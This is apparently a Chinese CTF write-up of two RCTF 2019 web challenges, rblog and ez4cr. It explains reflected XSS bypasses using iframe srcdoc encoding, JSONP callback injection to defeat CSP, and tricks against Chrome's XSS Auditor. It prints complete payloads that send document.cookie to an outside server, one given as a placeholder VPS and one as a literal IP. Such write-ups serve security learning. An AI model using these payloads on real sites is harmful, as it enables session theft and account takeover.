RCTF2019web题目复现之rblog和ez4cr

原创

kekefen01 于 2019-05-26 11:03:01 发布 447 收藏

分类专栏： ctf

本文链接：https://blog.csdn.net/kekefen01/article/details/90573908

这两道题都是关于反射型XSS绕过。看wp还复现了蛮长时间，bot好像挂了，所以就打打自己cookie吧

rblog

1.查看所有接口地址 2.接口中的v1v2可能是版本号

发现接口地址https://rblog.2019.rctf.rois.io/api/v1/posts

这里注意：

v2的Content-Type: application/json 此时浏览器不会解析插入标签

v1的Content-Type: text/html; charset=UTF-8 此时浏览器会解析标签执行js脚本

修改v1的posts发现XSS注入点。

```
{"error":"route '\/zhurudian' does not exist."}
```

后端对正反斜杠、单双引号会进行转义

后端会把中文（句号） unicode 编码

```
{"error":"route '\/\u3002' does not exist."}
```

页面上还存在CSP：`default-src 'self'; object-src 'none'`

构造payload的过程：

1.利用iframe绕过后端单双引号，正反斜杠的过滤：

我们希望的是页面回显之后出现形如

```
<script src="xx"></script>
```

的输出。这样浏览器才能解析标签执行我们的js脚本

所以将我们的script代码编码成HTML代码，然后利用iframe来执行

```
https://rblog.2019.rctf.rois.io/api/v1/<iframe srcdoc=xxxxxxxx>
```

srcdoc 属性规定页面的 HTML 内容显示在行内框架中。

小插曲：利用iframe插入代码

假如我们要在srcdoc中插入的script代码为：`<script>alert(1)</script>`

js代码本身的HTML编码为：

```
&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x0a;
```

如果我们自己本地建一个文件，文件里面插入

```
<iframe srcdoc=&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&
#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x0a;>
```

用浏览器打开文件就可以执行js代码。
但是我们要粘贴到浏览器地址栏中执行的话，因为里面存在特殊字符&和#，所以需要URL编码。

总结：把要执行的js代码经过 HTML编码、URL编码后插入srcdoc=后面

2.利用JSONP callback参数注入绕过CSP
上面已经得到了`https://rblog.2019.rctf.rois.io/api/v1/<iframe srcdoc=xxxxxxxx>`
这里就来确定xxxxx的内容是什么
由于CSP禁用了inline，只能执行`<script src='xxx'></script>`形式的代码。jsonp本身就是处理跨域问题的，所以它一定在可信域中。如果JSONP的callback参数一旦发生注入，你就可以构造任意js。

我们知道JSONP的形式是`<script src='xxx'></script>`，所以我们这里的代码为

```
<script src="https://rblog.2019.rctf.rois.io/api/v1/posts?callback=parent.location.href='http://your_vps_ip/xss?
'%2besCape(document.cookie);console.log"></script>
```

最终浏览器接收到parent.location.href='http://your_vps_ip/xss?'+escape(document.cookie);console.log(xxx)并当成js执行。

注意这里的加号在src里面要经过URL编码

疑问1，为什么我们的srcdoc要使用`<script src='xxx'></script>`形式，使用`<script>xxx</script>`的形式不行吗？
答：这是为了让我们能绕过CSP，因为不允许执行inline代码

疑问2，直接使用`https://rblog.2019.rctf.rois.io/api/v1/<script src='xxx'></script>`不行吗？
答：不行，如果直接使用这样的形式，页面会把单双引号，正反斜杠转义过滤。

疑问3，我们直接访问JSONP的地址https://rblog.2019.rctf.rois.io/api/v1/posts?callback=alert(1)并不会执行代码。因为其content-type为application/javascript;就和我们平时直接访问页面上的js文件不会执行代码一样。

何时浏览器会执行代码？
在content-type为text/html的情况下出现script标签就会执行里面的内容。

只有结合iframe绕过和JSONP形式才能同时绕过这两个限制。

3.利用后端对中文的处理绕过chrome audit
这就绕过了后端的过滤，但是还绕不过chrome的XSS过滤器。
我们从 Auditor 的原理来考虑： Auditor 会检测 URL 中的含有的代码和页面中含有的代码是否一致，如果一致则会拦截。反之，从以往看到的很多 bypass 案例中，都可以知道如果后端对 URL 中的一些字符做了处理再返回，导致 URL 和页面中的内容不一致，就不会被拦截。
srcdoc=（此处加入多个句号）xxxxxxxx可以绕过Auditor

本题知识点总结
1.利用iframe绕过后端过滤
2.利用JSONP callback参数注入绕过CSP
3.利用后端对中文的处理绕过chrome Auditor

payload：

```
https://rblog.2019.rctf.rois.io/api/v1/<iframe srcdoc=。。。。。。。。。。。。。。%26%23%78%33%63%3b%26%23%78%37%33
%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%23%78%32%30%3b%
26%23%78%37%33%3b%26%23%78%37%32%3b%26%23%78%36%33%3b%26%23%78%33%64%3b%26%23%78%32%32%3b%26%23%78%36%38%3b%26%2
3%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%37%33%3b%26%23%78%33%61%3b%26%23%78%32%66%3b%26%23%78
%32%66%3b%26%23%78%37%32%3b%26%23%78%36%32%3b%26%23%78%36%63%3b%26%23%78%36%66%3b%26%23%78%36%37%3b%26%23%78%32%
65%3b%26%23%78%33%32%3b%26%23%78%33%30%3b%26%23%78%33%31%3b%26%23%78%33%39%3b%26%23%78%32%65%3b%26%23%78%37%32%3
b%26%23%78%36%33%3b%26%23%78%37%34%3b%26%23%78%36%36%3b%26%23%78%32%65%3b%26%23%78%37%32%3b%26%23%78%36%66%3b%26
%23%78%36%39%3b%26%23%78%37%33%3b%26%23%78%32%65%3b%26%23%78%36%39%3b%26%23%78%36%66%3b%26%23%78%32%66%3b%26%23%
78%36%31%3b%26%23%78%37%30%3b%26%23%78%36%39%3b%26%23%78%32%66%3b%26%23%78%37%36%3b%26%23%78%33%31%3b%26%23%78%3
2%66%3b%26%23%78%37%30%3b%26%23%78%36%66%3b%26%23%78%37%33%3b%26%23%78%37%34%3b%26%23%78%37%33%3b%26%23%78%33%66
%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%63%3b%26%23%78%36%63%3b%26%23%78%36%32%3b%26%23%78%36%31%3b%
26%23%78%36%33%3b%26%23%78%36%62%3b%26%23%78%33%64%3b%26%23%78%37%30%3b%26%23%78%36%31%3b%26%23%78%37%32%3b%26%2
3%78%36%35%3b%26%23%78%36%65%3b%26%23%78%37%34%3b%26%23%78%32%65%3b%26%23%78%36%63%3b%26%23%78%36%66%3b%26%23%78
%36%33%3b%26%23%78%36%31%3b%26%23%78%37%34%3b%26%23%78%36%39%3b%26%23%78%36%66%3b%26%23%78%36%65%3b%26%23%78%32%
65%3b%26%23%78%36%38%3b%26%23%78%37%32%3b%26%23%78%36%35%3b%26%23%78%36%36%3b%26%23%78%33%64%3b%26%23%78%32%37%3
b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%33%61%3b%26%23%78%32%66%3b%26
%23%78%32%66%3b%26%23%78%33%31%3b%26%23%78%33%30%3b%26%23%78%33%36%3b%26%23%78%32%65%3b%26%23%78%33%31%3b%26%23%
78%33%35%3b%26%23%78%32%65%3b%26%23%78%33%39%3b%26%23%78%33%30%3b%26%23%78%32%65%3b%26%23%78%33%39%3b%26%23%78%3
3%33%3b%26%23%78%32%66%3b%26%23%78%37%38%3b%26%23%78%37%33%3b%26%23%78%37%33%3b%26%23%78%33%66%3b%26%23%78%32%37
%3b%26%23%78%32%35%3b%26%23%78%33%32%3b%26%23%78%36%32%3b%26%23%78%36%35%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%
26%23%78%36%31%3b%26%23%78%37%30%3b%26%23%78%36%35%3b%26%23%78%32%38%3b%26%23%78%36%34%3b%26%23%78%36%66%3b%26%2
3%78%36%33%3b%26%23%78%37%35%3b%26%23%78%36%64%3b%26%23%78%36%35%3b%26%23%78%36%65%3b%26%23%78%37%34%3b%26%23%78
%32%65%3b%26%23%78%36%33%3b%26%23%78%36%66%3b%26%23%78%36%66%3b%26%23%78%36%62%3b%26%23%78%36%39%3b%26%23%78%36%
35%3b%26%23%78%32%39%3b%26%23%78%33%62%3b%26%23%78%36%33%3b%26%23%78%36%66%3b%26%23%78%36%65%3b%26%23%78%37%33%3
b%26%23%78%36%66%3b%26%23%78%36%63%3b%26%23%78%36%35%3b%26%23%78%32%65%3b%26%23%78%36%63%3b%26%23%78%36%66%3b%26
%23%78%36%37%3b%26%23%78%32%32%3b%26%23%78%33%65%3b%26%23%78%33%63%3b%26%23%78%32%66%3b%26%23%78%37%33%3b%26%23%
78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%23%78%33%65%3b%26%23%78%3
0%61%3b>
```

在自己服务器上可以接受到自己cookie
打开首页的2019 writeup连接通往管理员后台，其实也是下一题的入口。

RCTF{uwu_easy_bypass_with_escaped_unicode}

ez4cr
本题没有后端过滤，只需要绕过CSP和Auditor即可
要寻找一个XSS的点，和上题一样，需要text/html才可以解析js代码执行
https://report-rblog.2019.rctf.rois.io/report.php?callback=test
返回的就是text/html页面。

考虑构造payload：
1.利用JSONP绕过CSP
XSS构造的形式应该为

```
https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src=xxxx></script>
```

xxxxx应为JSONP：

```
https://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'%2bescape(docu
ment.cookie);
```

这样返回`location.href='http://106.15.90.93/xss'+escape(document.cookie);`被执行

将上面两个组合，最终形式：

```
https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src=https://report-rblog.2019.rctf.rois.io/re
port.php?callback=location.href='http://106.15.90.93/xss'%252bescape(document.cookie);></script>
```

（区别在将 % URL编码）

URL要进行几次编码的考虑：每发起一次请求都会进行一次URL解码，所以发起两次请求就要两次URL编码

```
第一次发的请求经过解码变为
https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src=https://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'%2bescape(document.cookie);></script>
返回到前端变为：
<script src=https://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'%2bescape(document.cookie);></script>
随后向src属性的地址发起第二次请求：
https://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'%2bescape(document.cookie);
在后端解码成为：
https://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'+escape(document.cookie);
返回最终js代码：
location.href='http://106.15.90.93/xss'+escape(document.cookie)
顺利执行
```

2.绕过Auditor：
URL payload 中 script src 的协议 http 经过后端返回到页面中时直接变成了 https ，还贴心的给 src 加上了双引号，所以打破了一致性，绕过了 Auditor 。
协议的 upgrade 其实并不是后端处理的，而是因为题目使用了 Cloudflare CDN ，被 CDN 自动处理的

将https改为http
payload：

```
https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src=http://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'%252bescape(document.cookie);></script>
```

RCTF{charset_in_content-type_ignored._.??did_i_find_a_chrome_xss_filter_bypass_0day}

注意：如果在cookie中设置了HttpOnly属性，那么通过js脚本将无法读取到cookie信息

基本步骤总结：
1.首先找XSS的点，最外层始终是XSS。
2.考虑过滤，用各种形式绕过
3.构造内层JSONP，发起二次请求